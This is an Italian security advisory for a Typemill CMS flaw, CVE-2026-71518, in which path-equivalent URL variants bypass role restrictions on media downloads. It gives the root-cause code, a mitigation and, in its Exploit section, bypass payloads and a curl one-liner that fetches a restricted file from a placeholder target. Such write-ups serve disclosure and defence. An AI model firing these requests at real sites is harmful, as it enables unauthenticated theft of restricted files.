CVE-2026-71518 — Bypass dell'autorizzazione senza autenticazione in Typemill

Le varianti URL equivalenti a livello di percorso aggirano i download dei media limitati per ruolo

La restrizione è basata sul percorso grezzo della richiesta; il file viene letto dal percorso risolto dal sistema operativo — i due non coincidono

In sintesi · Sommario · Causa principale · Catena di attacco · Exploit · Mitigazione · Cronologia

📋 In sintesi

🔎 Sommario

Typemill consente a un amministratore di limitare singoli file multimediali a uno specifico ruolo utente tramite media/files/filerestrictions.yaml. La rotta pubblica di download dovrebbe onorare tale restrizione — ma verifica la restrizione sul percorso grezzo della richiesta mentre serve i byte dal percorso risolto dal filesystem. Poiché lo stesso file ha molte grafie equivalenti a livello di percorso (./name, //name, %2e/name), un attaccante sceglie una variante che non corrisponde alla chiave di restrizione ma che risolve comunque allo stesso file su disco.

La rotta non presenta alcun middleware di autenticazione, quindi il risultato è un download completamente non autenticato di file che erano stati esplicitamente bloccati per un ruolo.

🧬 Causa principale

La rotta di download è pubblica — non c'è alcun middleware di autenticazione:

// system/routes/web.php
$app->get('/media/files/{params:.*}', ...ControllerWebDownload::class . ':download');

All'interno di system/typemill/Controllers/ControllerWebDownload.php, la decisione di controllo degli accessi e la lettura del file usano due rappresentazioni diverse dello stesso percorso:

// Restriction is looked up with the RAW, un-normalized request parameter:
if (isset($restrictions['media/files/' . $args['params']])) {
    // ... enforce role restriction (redirect to login if not allowed)
}

// ... but the bytes are served from the OS-resolved path:
$content = file_get_contents($base . $params);

validate() rifiuta solo la sequenza letterale .. — non normalizza ./ o // e non rifiuta gli equivalenti codificati in percentuale. Così la chiave di restrizione e il file che viene effettivamente letto non sono più allineati:

Il bug è il classico schema "decisione di autorizzazione e accesso alla risorsa basati su stringhe diverse e controllabili dall'attaccante" (CWE-639/CWE-863). Anche sotto Apache $_SERVER['REQUEST_URI'] rimane grezzo, quindi non è specifico del server.

⛓️ Catena di attacco

flowchart LR
    A[Admin restricts<br/>media/files/secret.pdf<br/>to role 'editor'] --> B[Anon requests<br/>/media/files/secret.pdf]
    B --> C{Restriction key<br/>matches raw path?}
    C -->|yes| D[302 → login<br/>🔒 blocked]
    A --> E[Anon requests<br/>/media/files/%2e/secret.pdf]
    E --> F{Restriction key<br/>matches raw path?}
    F -->|no| G[file_get_contents resolves<br/>./ // %2e to same file]
    G --> H[200 OK<br/>🟢 file leaked]

1. L'amministratore carica un file privato e lo limita a un ruolo in filerestrictions.yaml.
2. L'URL canonico viene correttamente bloccato per gli utenti anonimi.
3. L'attaccante richiede una variante equivalente a livello di percorso → la chiave di restrizione non corrisponde, il file viene comunque risolto → il download riesce senza alcuna credenziale.

💥 Exploit

exploit/exploit.py riproduce il problema end-to-end contro un container di test locale. Lo script (1) fa sì che l'"admin" pubblichi un file privato limitato al ruolo editor, (2) conferma che l'URL canonico è bloccato per un utente anonimo, quindi (3) scarica lo stesso file tramite ogni variante equivalente a livello di percorso.

# Bring up a local Typemill < 2.26.0 as container "typemill-test" on :8099, then:
python3 exploit/exploit.py

Output previsto:

[CONTROL] GET /media/files/secret.pdf            -> http=302  (restriction enforced)
[BYPASS ] GET /media/files/./secret.pdf          -> http=200  leaked=True
[BYPASS ] GET /media/files//secret.pdf           -> http=200  leaked=True
[BYPASS ] GET /media/files/%2e/secret.pdf        -> http=200  leaked=True
>>> VULNERABLE: unauthenticated download of a role-restricted file (CWE-639)

One-liner contro qualsiasi host vulnerabile (solo test autorizzati):

curl -s 'https://TARGET/media/files/%2e/restricted-file.pdf' -o loot.pdf

🛠️ Mitigazione

• Aggiorna a Typemill 2.26.0 o versione successiva.
• La correzione corretta consiste nel canonicalizzare/normalizzare il percorso della richiesta una sola volta, per poi usare quel singolo valore canonico sia per la verifica della restrizione sia per la lettura del file — così la chiave di controllo degli accessi e la risorsa servita non possono mai divergere.
• Difesa in profondità: risolvere con realpath() e verificare che il file sia contenuto nella directory base dei media prima della lettura, oltre a rifiutare i separatori di percorso codificati in percentuale.

🗓️ Cronologia

📚 Riferimenti

• NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-71518
• CVE Record: https://www.cve.org/CVERecord?id=CVE-2026-71518
• Versione corretta: https://github.com/typemill/typemill/releases/tag/v2.26.0

_{Solo per test di sicurezza autorizzati e uso didattico. © @IlhomjonR}